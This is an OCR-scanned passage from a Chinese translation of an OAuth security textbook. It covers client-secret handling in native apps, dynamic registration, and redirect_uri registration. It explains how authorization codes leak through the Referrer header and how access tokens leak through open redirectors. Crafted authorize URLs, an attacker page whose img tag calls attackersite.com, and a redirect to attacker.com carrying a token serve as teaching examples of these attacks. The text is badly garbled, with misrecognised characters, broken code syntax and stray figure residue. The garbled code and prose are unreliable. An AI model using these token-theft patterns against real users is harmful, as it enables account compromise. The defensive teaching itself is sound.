运行 在 浏览 器 中 ,因此 也 就 不 具备 保密 client secret 的 能 力 。 另 一 种 情况 是 传统 的 服务 端 应 
用 , 它 可 以 使 用 授权 码 许可 类 型 ， 能 够 将 client secret 安全 地 存储 在 服务 器 上 。 

那 原 生 应 用 呢 ? 第 6 章 已 经 讨论 了 在 什么 情况 下 使 用 哪 种 许可 类 型 , 其 中 并 不 推荐 在 原生 应 
用 中 使 用 隐 式 许可 类 型 。 要 注意 的 重要 一 点 是 : 在 原生 应 用 中 ,虽然 client_secret 以 某 种 形 
式 隐 藏 在 编译 后 的 代码 中 , 但 也 不 能 将 其 视 为 保密 信息 。 即 使 再 上 涩 的 编译 件 也 是 能 够 被 反 编 译 
的 ， 一 旦 被 反 编 译 ，client_secret 就 不 再 是 秘密 了 。 移动 设 备 客 户 端 和 桌面 原生 应 用 都 要 遵 
循 这 一 原则 。 违 背 这 一 简单 原则 有 可 能 导致 灾难 性 后 果 。 第 12 章 会 详细 讨论 如 何 通过 动态 客户 
端 注册 在 运行 时 配置 client_secret。 在 此 不 会 过 多 地 深入 这 一 话题 ， 接 下 来 的 练习 ch-7-ex-1 


























































































































(D https://tools.ietf.org/html/rfc6749#section-10.10 
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是 为 第 6 章 开 发 的 原生 应 用 加 入 动态 注册 功能 。 请 打开 ch-7-ex-1 目录 ， 并 像 之 前 一 样 在 


native-client 目录 中 执行 配置 命令 。 








T 





npm install -g cordova 

npm install ios-sim 

cordova platform add ios 

cordova plugin add cordova-plugin-inappbrowser 

cordova plugin add cordova-plugin-customurlscheme --variable URL. 
SCHEME-com.oauthinaction.mynativeapp 


现在 ， 你 可 以 打开 www 目录 并 编辑 其 中 的 index.html 文件 了 。 不 需要 编辑 本 练习 中 的 其 他 
文件 , 但 你 还 是 需要 MER 一 样 将 授权 服务 器 和 受 保护 资源 项 目 运行 起 来 。 在 index.html 文件 中 ， 
找到 client 变量 ， 这 里 存放 的 是 客户 端 信息 ， 请 注意 其 中 的 client id 和 client_secret 
字段 是 空 的 。 


YYYYY 





var client = ( 
'client name': 'Native OAuth Client', 
"elient.dd'» t; 
'client secret': '', 
'redirect uris': ['com.oauthinaction.mynativeapp:/'], 
'scope': 'foo bar' 
Js 


这 些 信息 要 在 客户 端 运行 时 完成 动态 注册 之 后 才 可 用 。 现在 , 请 找到 授权 服务 器 信息 并 在 其 


中 加 上 registrationEndpoint 字段 。 


var authServer = { 
authorizationEndpoint: 'http://localhost:9001/authorize', 
tokenEndpoint: 'http://localhost:9001/token', 
registrationEndpoint: 'http://localhost:9001/register' 

s 


最 后 ， 需 要 添加 动态 注册 功能 。 如 果 客 户 端 在 首次 请 求 OAuth 令 牌 时 还 没有 客户 端 DD， 则 
需要 发 起 注册 请 求 。 


if (!client.client id) ( 

$.ajax(( 
url: authServer.registrationEndpoint, 
type: 'POST', 
data: client, 
crossDomain: true, 
dataType: 'json' 

)).done(function(data) ( 
client.client id - data.client id; 
client.client secret - data.client secret; 

)).fail(function() ( 
$('.oauth-protected-resource').text('Error while fetching registration 
endpoint'); 








3): 
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现在 ， 可 以 运行 修改 完成 的 原生 应 用 。 
> cordova run ios 


以 上 命令 会 在 手机 模拟 器 中 将 应 用 启动 。 如 果 你 像 往常 一 样 开启 OAuth 流程 ， 会 欣喜 地 发 
现 新 生成 的 client id 和 client_secret， 而 且 它 们 在 每 一 个 原生 应 用 的 运行 实例 中 都 不 一 
样 。 这 样 ， 原 生 应 用 编译 件 中 附带 client_secret 的 问题 就 得 到 了 解决 。 

在 生产 环境 中 , 这 种 原生 应 用 实例 一 般 会 将 这 些 信息 保存 起 来 。 这 样 ， 客 户 端 软件 的 每 一 份 
安装 就 只 需要 在 首次 启动 时 注册 一 次 , 而 无 须 在 用 户 每 次 启动 软件 时 都 去 注册 一 次 。 客 户 端 软件 
的 两 个 不 同 实例 不 可 能 访问 对 方 的 凭据 ， 而 且 授 权 服 务 器 能 够 区 分 每 一 个 客户 端 实例 。 


7.4 客户 端 重 定 向 URI 注册 


在 授权 服务 器 上 创建 新 的 OAuth 客户 端 时 ，reairect_uri 的 设 定 极其 重要 ， 特 别 是 要 让 
redirect uri 尽 可 能 地 具体 。 例 如 ， 如 果 你 的 OAuth 客户 端 回调 是 如 下 这 样 : 
























































https://yourouauthclient.com/oauth/oauthprovider/callback 
那么 就 需要 注册 完整 的 URL: 
https://yourouauthclient.com/oauth/oauthprovider/callback 
不 要 只 注册 域 : 
https://yourouauthclient.com/ 
也 不 要 只 注册 一 部 分 路 径 : 
https://yourouauthclient.com/oauth 
如 果 你 忽视 了 redirect uri 的 注册 要 求 ， 令 牌 动 持 攻击 会 比 你 想象 的 更 容易 发 生 。 即 使 
是 有 专业 安全 审计 的 大 公司 ， 也 在 这 一 点 上 犯 过 错 。 
最 主要 的 原因 是 有 时 候 授权 服务 器 会 使 用 不 同 的 redirect_uri 校 验 策略 。 第 9 章 将 会 讨 
论 , 授权 服务 器 应 该 采用 的 唯一 安全 可 靠 的 校 验方 法 是 精确 匹配 。 任 何其 他 的 替代 方案 (包括 正 
则 匹配 或 者 允许 注册 redirect uri 的 子 目 录 )， 都 是 次 优 方案 ， 有 时 甚至 会 带 来 危险 。 
为 了 直观 地 理解 何谓 允许 子 目录 的 校 验 策 略 ， 请 看 表 7-1。 
表 7-1 允许 子 目录 的 校 验 策略 





















































注册 的 URL: http://example.com/path 是 否 匹 配 
https://example.com/path 是 
https://example.com/path/subdir/other 是 
https://example.com/bar T 
https://example.com f 
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( 续 ) 
注册 的 URL: http://example.com/path 是 否 匹 配 
https://example.com:8080/path 否 
https://other.example.com:8080/path 否 
https://example.org 否 





TEX 7-1 中, 当 OAuth 提供 商 使 用 允许 子 目录 的 方法 匹配 redirect_uri Hf, 会 使 得 redirect uri 
参数 具有 一 定 的 灵活 性 ( 还 有 另外 一 个 示例 ， 请 看 GitHub API 安全 文档 ”)。 

话说 回来 ,对 于 授权 服务 器 自身 来 说 , 使 用 允许 子 目录 的 校 验 策略 并 不 一 定 不 好 。 但 是 如 果 
再 与 一 个 OAuth 客户 端 注 册 得 “过 于 宽松 ”的 regdirect_uri 相 结合 ， 则 无 疑 是 致命 的 。 另 外 ， 
OAuth 客户 端 在 互联 网 上 的 暴露 程度 越 大 ， 就 越 有 可 能 被 发 现 能 利用 这 一 弱点 的 漏洞 。 




















7.4.1 通过 Referrer 盗 取 授权 三 


我 们 要 介绍 的 第 一 种 攻击 是 以 授权 码 许可 类 型 为 目标 的 , 它 基 于 HTTP Referrer 造成 的 信 
EAE. 攻击 者 的 最 终 目 的 是 支持 资源 拥有 者 的 授权 码 。 要 理解 这 种 攻击 ,首先 需要 知道 什么 是 
Referrer， 以 及 它 在 什么 时 候 被 使 用 。HTTP Referrer (标准 把 它 错误 地 拼写 为 “referer”) 是 
浏览 器 (以 及 一 般 的 HTTP 客户 端 ) 从 一 个 页 面 跳 到 另 一 个 页 面 时 所 附加 的 HTTP 头 部 字段 。 通 
过 这 种 方式 ， 新 的 Web 页 面 就 能 知道 请 求 来 自 哪 里 ， 例 如 来 自 远程 站 点 的 链接 。 

假设 你 在 一 个 OAuth 提供 商 那里 注册 了 OAuth 客户 端 ， 该 提供 商 的 授权 服务 器 使 用 允许 子 
目录 的 redirect uri 校 验 策略 。 

你 的 OAuth 回调 端点 是 : 






























































https://yourouauthclient.com/oauth/oauthprovider/callback 


但 是 你 注册 的 是 : 





























https://yourouauthclient.com/ 


你 的 OAuth 客户 端 在 执行 OAuth 授权 请 求 时 ， 发 起 的 请 求 节选 可 能 会 是 如 下 这 样 。 











https://oauthprovider.com/authorize?response type-code&client id-CLIENT ID&scope-S 
COPES&state-STATE&redirect uri-https://yourouauthclient.com/ 


由 于 该 OAuth 提供 商 采用 了 人 允许 子 目录 的 redirect uri 校 验 策略 ， 它 只 会 校 验 URI 的 起 
始 部 分 , 无 论 在 注册 的 redirect uri 后 面 追加 什么 内 容 ， 它 都 会 认为 有 效 。 从 功能 角度 来 看 ， 
注册 的 redirect uri 完全 满足 要 求 ， 到 目前 为 止 还 看 不 出 有 什么 不 妥 。 

攻击 者 也 要 能 够 在 目标 站 点 注册 的 重 定向 URI 下 创建 网 页 ， 如 下 所 示 : 








https://yourouauthclient.com/usergeneratedcontent/attackerpage.html 





(D https://developer.github.com/v3/oauth/Zredirect-urls (June 2015) 
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现在 ,攻击 者 就 可 以 构造 一 个 特殊 的 URI 了， 形式 如 下 : 


https://oauthprovider.com/authorize?response type=code&client id-CLIENT ID&scope-S 
COPES&state-STATE&redirect uri-https://yourouauthclient.com/usergeneratedcontent/a 
ttackerpage.html 


然后 ， 通 过 任意 一 种 钓鱼 技术 让 受害 用 户 点 击 这 个 链接 。 

请 注意 ， 上 面 这 个 构造 的 URI 包含 一 个 redirect_uri， 它 指向 攻击 者 的 页 面 ， 这 个 页 面 
位 于 合法 的 客户 端 注 册 的 子 目 录 下 。 这 样 一 来 ， 攻 击 者 就 有 机 会 改变 接 下 来 的 授权 流程 ， 如 图 
7-3 所 示 。 
























资源 拥有 痢 授权 服务 器 








"e 授权 服务 器 使 用 带 有 授权 码 
入 的 URI 重 定向 到 一 个 由 攻击 


. A Fem 


客户 端 攻击 者 
图 7-3 盗 取 授权 三 









































由 于 你 注册 的 redirect uri 是 https://yourouauthclient.com, JH. OAuth 提供 商 采用 允许 
子 目录 的 校 验 策略 ， 因 此 https://yourouauthclient.com/usergenerated-content/attackerpage.html 是 一 
个 完全 合法 的 客户 端 redirect, uri. 
请 记 住 我 们 已 经 学 到 的 以 下 两 点 。 
口 通常 ， 资 源 拥 有 者 只 需要 对 客户 端 授权 一 次 〈 首 次 使 用 时 ; 参见 第 1 章 所 讲 的 首次 使 用 
时 信任 , 即 TOFU )。 这 意味 着 只 要 服务 器 认为 请 求 来 自 同 一 个 客户 端 并 且 所 需 权 限 相同 ， 
随后 的 调用 都 会 略 过 手动 确认 页 面 的 显示 。 
口 人 们 一 般 倾向 于 信任 具有 良好 的 安全 记录 的 公司 ， 所 以 很 可 能 不 会 开启 “ 反 钓 鱼 警 告 ”。 
这 就 是 说 ， 现 在 已 经 足以 “说 服 ” 受 害 用 户 去 点 击 这 个 经 过 构造 的 链接 ， 跳 转 至 授权 端点 ， 
受害 用 户 最 终 会 得 到 如 下 返回 结果 。 
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https://yourouauthclient.com/usergeneratedcontent/attackerpage.html?code 

-e8e0dclc-2258-6cca-72f3-7dbe0ca97a0b 

请 注意 ，code 参数 最 终 被 附加 到 这 个 恶意 的 URI 上 了 。 你 可 能 认为 攻击 者 还 需要 接触 到 服 
务 端 的 处 理 过 程 才 有 可 能 从 这 个 URI 中 提取 出 授权 码 ， 因 为 这 种 功能 在 用 户 生 成 内 容 的 页 面 中 
一 般 是 不 允许 的 。 或 者 ， 攻 击 者 需要 能 够 在 页 面 中 插入 任意 的 JavaScript 代码 ， 但 通常 用 户 生成 
的 内 容 中 代码 会 被 过 滤 掉 。 但 是 ， 请 仔细 看 一 下 attackerpage.html 中 的 代码 。 

«html» 


«hi»Authorization in progress «/h1-» 


«img src-"https://attackersite.com/"» 
</html> 








在 资源 拥有 者 看 来 ， 这 是 一 个 非常 简单 的 页 面 。 事 实 上 ， 由 于 它 不 包含 任何 JavaScript 或 者 其 
他 功能 性 代码 ， 因 此 其 至 可 以 将 它 租 入 到 别 的 页 面 。 然 而 ， 受 害 用 户 的 浏览 避 会 在 后 台 加 载 img 
标签 ,向 攻击 者 的 服务 器 请 求 资源 。 在 这 个 请 求 里 ，HTTP Referrer 头 部 会 泄露 授权 码 ( 如 图 7-4 
所 示 )。 




















有 漏洞 的 
客户 端 







受害 用 户 对 一 个 有 
漏洞 的 客户 端 授权 


受害 用 户 的 浏览 器 请 

















Sra 签 里 的 资源 ， 同 时 通 
受害 用 户 的 浏览 过 Referzrez 头 部 发 
送 授权 码 
含 img 或 
这 些 资 源 在 攻击 
侈 考 的 服务 器 上 


7-4 “授权 码 劫持 





从 Referrer 中 提取 出 授权 人 码 对 于 攻击 者 来 说 非常 容易 , 因为 它 就 被 包含 在 一 个 来 自 攻击 者 
页 面 内 img 标签 的 HTTP 请求 中 。 
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我 的 Referrer EME? 
攻击 者 发 布 的 网 页 中 的 URI 必须 是 一 个 https URI。 这 是 HTTP RFC[RFC 2616] 15.1.3 节 
( URI 中 的 敏感 信息 编码 ) 的 标准 规定 。 
如 果 引 用 (referring ) 页 面 是 通过 安全 协议 传输 的 ， 则 客户 端 不 应 该 在 ( 非 安 全 的 ) HTTP 
请 求 中 添加 Referrer 头 部 。 


图 7-5 对 此 进行 了 概括 。 


Referrer 





Referrer 
HTTPS HTTPS 
Referrer 
HTTPS 
mE | = | 


K| 7-5 Referrer 策略 





7.4.2. ”通过 开放 重 定向 器 盗 取 令 牌 


另 一 种 攻击 的 思路 与 上 一 节 讨 论 的 攻击 是 一 样 的 , 不 过 它 是 针对 隐 式 许可 类 型 的 。 这 种 攻击 
的 目标 是 访问 令 牌 而 不 是 授权 码 。 要 理解 这 种 攻击 ， 需 要 先 明白 浏览 器 在 接收 到 重 定 问 啊 应 
( HTTP 301/302 响应 ) 时 是 如 何 处 理 URI 片段 (# 后 面 的 部 分 ) 的 。 虽 然 你 可 能 知道 片段 是 URI 
中 末尾 的 可 选 部 分 , 但 是 不 清楚 重 定向 中 的 片段 部 分 会 如 何 被 处 理 。 看 一 个 具体 的 例子 吧 : 如 果 
有 一 个 HTTP 请 求 /bar#foo， 它 的 响应 是 一 个 302 响应 ， 并 且 Location 为 /qux， 那 么 #foo 
会 被 附加 到 新 的 URI 上 吗 ( 即 新 请 求 是 /dux#foo ) ? 或 者 不 会 ( 即 新 请 求 为 /qux ) ? 

目前 大 多 数 浏览 器 在 重 定向 时 都 会 保留 最 初 的 片段 ， 即 新 请 求 是 /qux#foo 这 样 的 形式 。 还 
要 提醒 一 下 ,片段 部 分 不 会 被 发 送 给 服务 器 ， 因 为 它 是 专门 供 浏 览 器 使 用 的 。 下 面 这 种 攻击 基于 
男 一 常见 的 Web 漏洞 ， 叫 作 开 放 重 定 问 。 它 也 被 列 在 OWASP Top Ten H, EXW Fo 
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论 。 


应 用 接受 一 个 参数 , 不 进行 任何 校 验 就 将 用 户 重 定向 至 该 参数 值 。 这 个 漏洞 被 用 于 
钓鱼 攻击 ， 让 用 户 不 知 不 觉 访问 恶意 站 点 。 
关于 这 类 漏洞 还 存在 争议 ， 因 为 它们 通常 是 无 害 的 ,但 是 也 有 例外 , 本 章 以 及 后 续 章节 会 讨 























此 处 讨论 的 这 种 攻击 与 前 一 种 类 似 ， 并 且 需 要 相同 的 前 提 条 件 : 注册 了 “过 于 宽松 ”的 
































redirect_uri， 且 授权 服务 器 采用 允许 子 目 录 的 校 验 策略 。 由 于 这 里 的 信息 泄露 是 由 开放 重 定 
向 引起 的 ， 而 不 是 因为 Referrer， 因 此 还 需要 假设 OAuth 客户 端 具有 开放 重 定向 ， 比 如 https:/ 
yourouauthclient.com/redirector?goto=http://targetwebsite.com。 前 面 提 到 过 ， 一 个 网 站 上 出 现 这 样 
的 入 口 链接 是 很 平常 的 ( 即使 是 在 OAuth 环境 中 )。 第 9 章 会 详细 讨论 授权 服务 器 环境 下 的 开放 
重 定 向 。 





























总 结 以 上 的 讨论 : 

口 大 多 数 浏览 需 在 重 定向 时 会 保留 源 URI 的 片段 ; 

口 开放 重 定向 是 一 种 被 低估 的 漏洞 ; 

口 注册 “过 于 宽松 ”的 redirect uri. 

攻击 者 可 以 构造 如 下 URI。 
https://oauthprovider.com/authorize?response type-token&client, id=CLIENT_ 


ID&scope-SCOPES&state-STATE&redirect uri-https://yourouauthclient.com/ 
redirector?goto-https://attacker.com 


如 果 资 源 拥 有 者 已 经 通过 TOFU 授权 了 应 用 , 或 者 被 说 服 再 次 对 应 用 授权 , 那么 资源 拥有 者 














的 用 户 代 理 将 会 被 重 定向 到 传人 的 redirect uri, 并 且 URI 的 片段 中 附 有 access_token。 


"m, 








https://yourouauthclient.com/redirector?goto-https://attacker.comftaccess token-2Yo 
tnFZFEjrizCsicMWpAA 


此 时 , 客户 端 应 用 中 的 开放 重 定向 会 将 用 户 代 理 跳 转 至 攻击 者 的 网 站 。 由 于 在 大 多 数 浏览 器 
URI 片 段 会 在 重 定向 时 被 保留 ， 因 此 最 终 加 载 的 页 面 会 如 下 所 示 : 


https://attacker.comłaccess_token=2YotnFZFEjr1zCsicMWpAA 


现在 ， 攻 击 者 很 容易 就 能 盗 取 令 牌 了 。 实 际 上 ， 使 用 JavaScript 代码 读 取 location.hash 





就 足够 了 ( 如 图 7-6 所 示 )。 
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受害 用 户 的 浏览 受害 用 户 的 浏览 器 x 
中 加 载重 定向 URI | 。 cyan J 
Breiten 在 重 定向 URI 后 面 附加 

2 H 带 有 访问 令 H JL 
er a 8 有 访问 令 牌 的 片段 
向 至 攻 击 者 的 服 


务 器 





图 7-6 通过 片段 劫持 访问 令 牌 


以 上 讨论 的 两 种 攻击 都 可 以 用 相同 的 方法 来 防范 ， 那 就 是 注册 redirect uri 时 尽 可 能 
具体 ， 在 我 们 的 示例 中 就 应 该 是 https://yourouauthclient.com/oauth/oauthprovider/callback。 en 
能 防止 攻击 者 控制 客户 端的 OAuth 域 。 很 显然 ， 客 户 端 应 用 的 设计 还 要 确保 攻击 者 无 法 在 
https://yourouauthclient.com/oauth/oauthprovider/callback 下 创建 页 面 , 否则 就 又 回 到 了 原点 。 总 之 ， 
注册 的 信息 越 具 体 、 越 确切 ， 能 匹配 上 受 恶 意 方 控 制 的 URI 的 可 能 性 就 越 小 。 


7.5 授权 码 失窃 


如 果 攻 击 者 劫持 了 授权 码 , 他 就 能 窃取 诸如 资源 拥有 者 的 电子 邮箱 、 联 络 信息 等 个 人 信息 了 
吗 ? 还 不 能 。 请 记 住 ， 授 权 码 只 是 kis 客户 端 获 取 访 问 令 牌 的 中 间 步 又 ， 访 问 令 牌 才 是 攻击 
者 的 最 终 目 标 。 想 要 获取 访问 令 牌 ， 还 需要 client_secret， 而 这 是 需要 严格 保密 的 信息 。 但 
是 如 果 客 户 端 是 公开 客户 端 ， 所 以 任何 人 都 可 以 使 用 它 的 授权 码 。 对 于 
保密 客户 端 , 攻击 者 可 以 通过 恶意 手段 获取 客户 端 密 钥 ( 参见 7.3 节 ), 也 可 以 尝试 通过 执行 CSRF 
(参见 7.2 5 ) 来 欺骗 客户 端 。 第 9 章 将 介绍 后 者 ， 到 时 候 可 以 见识 它 的 效果 。 
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7.6 SHAD 


攻击 者 在 OAuth 系统 上 打 主 意 时 ， 他 的 最 终 目 标 是 窃取 访问 令 牌 。 有 了 访问 令 牌 ， 攻 击 者 
就 可 以 为 所 欲 为 了 。 我 们 已 经 知道 了 OAuth 客户 端 是 如 何 将 访问 令 牌 发 送 给 资源 服务 器 来 调用 
API 的 。 通 常 使 用 的 方法 是 通过 请 求 头 部 传递 bearer 令 牌 ( Authorization: Bearer access 
token value), RFC 6750 还 定义 了 另外 两 种 传递 bearer 令 牌 的 方法 。 其 中 一 种 是 在 URI 中 使 
用 查询 参数 , "规定 客户 端 可 以 在 URI 中 以 access. token 查询 参数 来 发 送 访问 令 牌 。 虽 然 这 种 
方法 看 起 来 很 简洁 ， 但 是 通过 这 样 的 方法 向 受 保护 资源 传递 访问 令 牌 有 诸多 缺点 。 

a 访问 令 牌 作为 URI 的 组 成 部 分 ， 会 被 记录 在 access.log 文件 中 。 

O 在 公共 论坛 上 ( 比如 Stack Overflow ) 搜索 答案 时 ， 人 们 往往 都 喜欢 直接 复制 、 粘 贴 。 这 

就 很 有 可 能 在 粘贴 HTTP 记录 或 者 访问 URL 时 将 访问 令 牌 也 暴露 在 这 些 论坛 上 。 

O 还 有 可 能 通过 Referrer 造成 访问 令 牌 泄露 , 这 在 7.4.1 市 中 介绍 过 , 因为 Referrer 包 
含 完整 的 URL。 

最 后 一 条 可 能 引起 访问 令 牌 被 盗 。 

假设 一 个 OAuth 客户 端 通过 URI 中 的 查询 参数 向 资源 服务 器 传递 访问 令 牌 ， 就 像 这 样 : 



















































































https://oauthapi.com/data/feed/api/user.html?access token-2YotnFZFEjrizCsicMWp 


如 果 攻 击 者 有 机 会 在 这 个 目标 页 面 中 ( data/feed/api/user.html ) 放 入 哪怕 一 个 简单 的 链接 , 那 
4 Referrer 头 部 就 会 将 访问 令 牌 泄露 (如 网 7-7 所 示 )。 

使 用 标准 的 Authorization 头 部 就 不 会 引起 这 些 问 题 ， 因 为 访问 令 牌 不 会 出 现在 URI 中 。 
虽然 查询 参数 这 种 方法 在 OAuth 中 是 合法 的 ， 但 是 客户 端 应 该 将 其 作为 最 后 的 选择 ， 并 且 在 使 
HEZ SITAE, 


























n 





授权 服务 器 混淆 

2016 年 1 A, OAuth 工作 组 的 邮件 列表 中 发 布 了 一 份 安全 报告 ， 其 中 描述 了 授权 服务 器 
混淆 的 问题 ， 这 个 问题 是 由 特 里 尔 大 学 和 波 鸿 鲁 尔 大 学 的 研究 人 员 分 别 独 立 发 现 的 。 该 问题 
会 影响 拥有 多 个 客户 端 ID 的 客户 端 , 这 些 客户 端 ID 是 由 不 同 的 授权 服务 器 颁发 的 , 攻击 者 可 
以 诱骗 客户 端 将 用 于 某 个 授权 服务 器 的 保密 信息 ( 包括 客户 端 密 钥 和 授权 码 ) 发 送 至 恶意 服 
务 器 。 这 一 攻击 的 详细 内 容 可 以 在 网 上 找到 。 ”在 编写 本 书 的 时 候 ，OAnuth 工作 组 正在 为 此 制 
定 标准 化 的 解决 方案 。 有 一 个 临时 的 应 对 方案 : 客户 端 应 该 为 每 一 个 授权 服务 器 注册 不 同 的 
creditrect_uri。 这 样 一 来 ， 它 就 可 以 区 分 来 自 不 同 授权 服务 器 的 回调 请 求 ， 而 不 至 于 混 消 。 





(D https://tools.ietf.org/html/rfc6750#section-2.3 
© http://arxiv.org/abs/1601.01229 和 http://arxiv.org/pdf/1508.04324.pdf., 
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客户 端 使 用 包含 
访问 令 牌 的 URL 
访问 受 保护 资源 


受 保护 资源 返回 资源 外 客户 端 执 行 重 定向 或 者 请 
LR, SEE PAT 求 资源 ， HHH Referrer 
bx Apu ER EEA EUR 
元 素 向 攻击 者 的 服务 | URL (包含 访问 令 牌 ) 
器 请 求 资源 





© 





图 7-7 通过 查询 参数 支持 访问 令 牌 
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6 章 讨论 并 构建 了 一 个 原生 应 用 。 我 们 已 经 知道 了 原生 应 用 是 直接 运行 在 用 户 设备 上 的 





OAuth 客户 端 ， 现 在 一 般 就 是 指 运 行 在 移动 端 上 。 根 据 以 往 的 经 验 ，OAuth 的 缺点 之 一 就 是 在 移 
动 设备 上 的 体验 不 佳 。 为 了 更 流畅 的 用 户 体 验 ， 原 生 OAuth 客户 端 一 般 会 使 用 web-view 组 件 ， 

将 用 户 重 定向 至 授权 服务 器 的 授权 端点 ( 通过 前 端 信道 交互 )。web-view 是 一 个 系统 组 件 ， 它 可 
以 让 应 用 在 UI 中 显示 Web 内 容 。web-view 充当 着 内 骨 的 用 户 代 理 , 与 系统 浏览 器 是 隔离 的 。 不 

















幸 的 是 ， 




















web-view 长 期 存在 着 安全 性 方面 的 问题 。 其 中 最 大 的 问题 是 客户 端 应 用 能 够 监视 





web-view 组 件 中 的 内 容 ,这 就 使 得 客户 端 能 够 在 最 终 用 户 向 授权 服务 器 进行 身份 认证 时 窃听 它们 


的 凭据 。 




















OAuth 的 首要 目标 之 一 就 是 将 用 户 凭 据 与 客户 端 完全 隔离 ， 而 现在 却 事与愿违 了 。 





web-view 组 件 的 易 用 性 也 远 没有 达到 理想 程度 。 因 为 内 般 在 应 用 中 ， 所 以 web-view 无 法 访问 到 
系统 浏览 器 中 的 cookie、 存 储 或 者 会 话 信息 。 这样 一 来 ，web-view 也 就 无 法 访问 任何 已 有 的 身份 
认证 会 话 ， 不 得 不 让 用 户 多 次 输入 凭据 。 

客户 端 可 以 专门 通过 外 部 用 户 代 理 ( 如 系统 浏览 器 ) 发 起 HTTP 请 求 (第 6 章 构建 的 原生 应 


用 就 是 这 样 做 的 )。 使 用 系统 浏览 器 的 最 大 好 处 就 是 资源 拥有 者 可 以 看 到 地 址 栏 中 的 URI， 这 





























gu 





很 好 的 反 钓鱼 防护 措施 。 这 也 有 助 于 培养 好 的 用 户 习 惯 ,只 在 可 信 的 网 站 上 输入 自己 的 凭据 ， 而 
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>A 


是 随意 在 任何 应 用 中 输入 。 

在 当今 的 移动 操作 系统 中 ， 有 了 第 3 种 选择 ， 它 融合 了 前 两 种 方法 的 优势 。 在 这 种 模式 下 ， 
应 用 开发 人 员 可 以 使 用 一 种 特殊 形式 的 web-view 组件, 这 种 组 件 可 以 像 传统 的 web-view —FEX 
入 应 用 中 。 但 是 ， 这 种 新 的 组 件 与 系统 浏览 器 共享 同一 个 安全 模型 ,支持 单 点 登录 的 用 户 体 验 。 
而 且 ， 宿 主 应 用 无 法 监视 这 种 组 件 ， 这 就 达到 了 与 使 用 外 部 系统 浏览 器 相同 强度 的 安全 隔离 。 

为 了 揽 括 原生 应 用 所 特有 的 , 包括 上 文 谈 到 的 以 及 它 的 其 他 安全 性 和 可 用 性 问题 ,OAuth T. 
作 组 正在 撰写 一 份 新 的 文档 ， 叫 作 “OAuth 2.0 for NativeApps". "文档 列 出 了 一 些 其 他 的 建议 。 
口 如 果 要 使 用 自 定义 的 重 定向 URI 格式 ， 请 选择 一 个 全 球 唯 一 且 你 拥有 其 所 有 权 的 格式 。 

一 种 可 取 的 方式 是 使 用 反 向 DNS 表示 法 ， 就 像 我 们 在 示例 应 用 中 所 做 的 那样 : 

com.oauthinaction.mynativeapp:/o 这 样 做 的 好 处 是 可 以 防止 与 其 他 应 用 所 用 的 格 

式 发 生 冲 突 ， 和 否则 有 可 能 导致 授权 码 被 窃听 。 

口 为 了 规避 与 授权 码 窃听 相关 的 风险 ， 最 好 使 用 代码 交换 证 明 密 钥 (PKCE )。 第 10 章 会 详 
细 讨 论 PKECE， 还 有 一 个 动手 练习 。 
这 些 简单 的 考量 能 够 大 大 提高 OAuth 在 原生 应 用 上 的 安全 性 和 可 用 性 。 




























































































7.8 小结 


虽然 OAuth 是 一 个 设计 良好 的 协议 , 但 是 为 了 避免 其 中 的 安全 陷阱 和 管见 的 错误 ， 实施 人 
员 需 要 了 解 它 的 所 有 细节 。 通 过 本 章 ， 我 们 已 经 见识 到 ， 如 果 在 注册 redirect uri MAA D 
， 攻 击 者 要 从 客户 端 盗 取 授 权 码 或 者 访问 令 牌 是 多 么 容易 的 事情 。 在 某 些 情况 下 ,攻击 者 也 能 
通过 恶意 手段 用 授权 码 换取 访问 令 牌 或 者 使 用 授权 码 进行 某 种 CSRF 攻击 。 
口 使 用 state 参数 ， 这 是 规范 中 建议 的 (虽然 不 强制 要 求 )。 
口 理解 并 慎重 选择 适用 于 应 用 的 许可 类 型 (流程 )。 
口 隐 式 许可 类 型 不 应 该 用 在 原生 应 用 中 ， 它 是 专门 供 浏览 器 内 的 客户 端 使 用 的 。 
口 原生 应 用 无 法 对 client secret 保密 ， 除 非 是 在 动态 注册 的 情况 下 在 运行 时 配置 
client secret, 
O 注册 redirect uri 时 应 该 尽 可 能 地 具体 。 
口 如 果 能 避免 ， 请 不 要 以 URI 参数 的 形式 传递 access_token。 
现在 我 们 已 经 给 客户 端 持 上 了 锁 ， 接 下 来 要 人 研究 有 哪些 方法 可 以 用 来 保护 受 保护 资源 。 




































































(D https://tools.ietf.org/html/draft-ietf-oauth-native-apps-01 
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本 章 内 容 

口 规避 受 保护 资源 上 常见 的 实现 漏洞 

a 列举 已 知 的 针对 受 保护 资源 的 攻击 

口 设计 受 保护 资源 端点 时 利用 现代 浏览 器 的 防护 机 制 





上 一 章 讨论 了 针对 OAuth 客户 端的 常见 攻击 。 现 在 开始 探讨 如 何 保护 资源 服务 器 ， 以 及 如 
何 防御 针对 受 保护 资源 的 常见 攻击 。 在 本 章 , 我 们 将 学 习 如 何 设计 资源 端点 , 将 令 牌 欺骗 和 令 牌 
重 放 的 风险 降 到 最 低 ， 还 会 探讨 如 何 利 用 现代 浏览 器 的 防护 机 制 来 减轻 设计 者 的 负担 。 


8.1. 受 保护 资源 会 受到 什么 攻击 


受 保护 资源 可 能 遭受 多 种 类 型 的 攻击 ， 第 一 种 也 是 最 明显 的 一 种 ， 就 是 访问 令 牌 可 能 泄露 ， 
攻击 者 直接 获取 受 保护 资源 的 数据 。 这 可 能 通过 令 牌 动 持 来 实现 (上 一 章 讨论 过 )， 也 可 能 因为 
令 牌 的 信息 恼 太 弱 或 者 拥有 过 于 宽泛 的 权限 范围 引起 。 与 受 保护 资源 相关 的 男 一 个 问题 是 , Hor 

可 能 受到 跨 站 脚本 ( XSS ) 攻击 。 事 实 上 ， 如 果 资 源 服务 器 支持 将 access token 作为 URI 
参数 , “那么 攻击 者 就 可 以 伪造 一 个 带 有 XSS 攻击 的 URI， 然 后 用 社会 工程 学 手段 让 受害 用 户 点 
击 这 个 链接 。 这 很 容易 实施 ， 比如 在 一 篇 博文 中 介绍 应 用 ， 并 邀请 他 人 试用 。 如 果 有 谁 点 击 了 那 
个 试用 链接 ， 恶 意 的 JavaScript 代码 就 会 执行 。 



























































XSS 是 什么 ? 
跨 站 脚本 (XSS) 是 开放 Web 应 用 安全 项 目 (OWASP ) 的 十 大 安全 问题 名 单 中 的 第 三 
名 ,是 目前 最 普遍 的 Web 应 用 安全 漏洞 。 它 通过 将 恶意 脚本 注入 到 可 信 的 网 站 来 绕 过 访问 控 
制 机 制 (比如 同 源 策略 )。 因 此 ， 攻 击 者 可 以 通过 注入 脚本 来 改变 Web 应 用 的 行为 ， 以 达到 他 
